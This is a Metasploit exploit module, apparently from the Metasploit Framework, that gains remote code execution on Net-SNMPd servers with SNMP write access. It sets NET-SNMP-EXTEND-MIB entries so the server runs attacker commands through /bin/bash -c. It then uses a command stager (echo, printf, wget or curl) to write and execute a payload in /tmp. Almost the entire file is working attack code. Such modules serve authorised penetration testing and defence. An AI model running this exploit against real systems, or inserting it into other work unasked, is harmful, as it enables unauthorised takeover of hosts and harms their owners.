##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'snmp'

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::SNMPClient
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Net-SNMPd Write Access SNMP-EXTEND-MIB arbitrary code execution',
        'Description' => %q{
          This exploit module exploits the SNMP write access configuration ability of SNMP-EXTEND-MIB to
          configure MIB extensions and lead to remote code execution.
        },
        'License' => MSF_LICENSE,
        'Author' => ['Steve Embling at InteliSecure'],
        'References' => [
          [ 'URL', 'http://net-snmp.sourceforge.net/docs/mibs/NET-SNMP-EXTEND-MIB.txt'],
          [ 'URL', 'https://medium.com/rangeforce/snmp-arbitrary-command-execution-19a6088c888e'],
          [ 'URL', 'https://digi.ninja/blog/snmp_to_shell.php'],
          [ 'URL', 'https://sourceforge.net/p/net-snmp/mailman/message/15735617/']
        ],
        'Payload' => {
          'Space' => 4096
          # note space above is not a hard limit and can be increased if required
          # 'BadChars' => "\x00"
        },
        'Targets' => [
          [
            'Linux x86', {
              'Arch' => ARCH_X86,
              'Platform' => 'linux',
              'CmdStagerFlavor' => [ :echo, :printf, :bourne, :wget, :curl ]
            }
          ],
          [
            'Linux x64', {
              'Arch' => ARCH_X64,
              'Platform' => 'linux',
              'CmdStagerFlavor' => [ :echo, :printf, :bourne, :wget, :curl ]
            }
          ]
        ],
        # Not tested on other platforms but confirmed the above works.
        'DisclosureDate' => '2004-05-10',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )
    register_options(
      [
        OptString.new('FILEPATH', [true, 'file path to write to ', '/tmp']),
        OptString.new('CHUNKSIZE', [true, 'Maximum bytes of payload to write at once ', 200]),
        OptString.new('SHELL', [true, 'Shell to call with -c argument', '/bin/bash'])
      ]
    )
  end

  # The exploit method connects and sets:
  # NET-SNMP-EXTEND-MIB::nsExtendStatus."tmp" = INTEGER: createAndGo(4)
  # NET-SNMP-EXTEND-MIB::nsExtendCommand."tmp" = STRING: /path/to/executable
  # NET-SNMP-EXTEND-MIB::nsExtendArgs."tmp" = STRING: arguments
  def execute_command(cmd, opts = {})
    oid_1 = '1.3.6.1.4.1.8072.1.3.2.2.1.21.3.116.109.112'
    oid_1_value = 4
    oid_2 = '1.3.6.1.4.1.8072.1.3.2.2.1.2.3.116.109.112'
    oid_2_value = datastore['SHELL']
    oid_3 = '1.3.6.1.4.1.8072.1.3.2.2.1.3.3.116.109.112'
    oid_4 = '1.3.6.1.4.1.8072.1.3.2.4.1.2.3.116.109.112.1'

    comm = datastore['COMMUNITY']

    cmd = cmd.shellescape unless flavor == :bourne

    oid_3_value = "-c \"#{cmd}\""

    vprint_status(oid_3_value)
    SNMP::Manager.open(:Host => rhost, :Port => rport, :Community => comm) do |manager|
      # vprint_status(manager.get_value("sysDescr.0"))
      varbind1 = SNMP::VarBind.new(oid_1, SNMP::Integer.new(oid_1_value))
      varbind2 = SNMP::VarBind.new(oid_2, SNMP::OctetString.new(oid_2_value))
      varbind3 = SNMP::VarBind.new(oid_3, SNMP::OctetString.new(oid_3_value))
      resp = manager.set([varbind1, varbind2, varbind3])
      vprint_status(manager.get_value(oid_4).to_s)
    end
    # Hit same again, first rewrite  appears to remove the MIB, the next reinstates it.
    SNMP::Manager.open(:Host => rhost, :Port => rport, :Community => comm) do |manager|
      varbind1 = SNMP::VarBind.new(oid_1, SNMP::Integer.new(oid_1_value))
      varbind2 = SNMP::VarBind.new(oid_2, SNMP::OctetString.new(oid_2_value))
      varbind3 = SNMP::VarBind.new(oid_3, SNMP::OctetString.new(oid_3_value))
      begin
        resp = manager.set([varbind1, varbind2, varbind3])
        vprint_status(manager.get_value(oid_4).to_s)
      rescue SNMP::RequestTimeout
        print_good("SNMP request timeout (this is promising).")
      end
    end
  end

  def exploit
    execute_cmdstager(linemax: datastore['CHUNKSIZE'].to_i, :temp => datastore['FILEPATH'])
  end
end
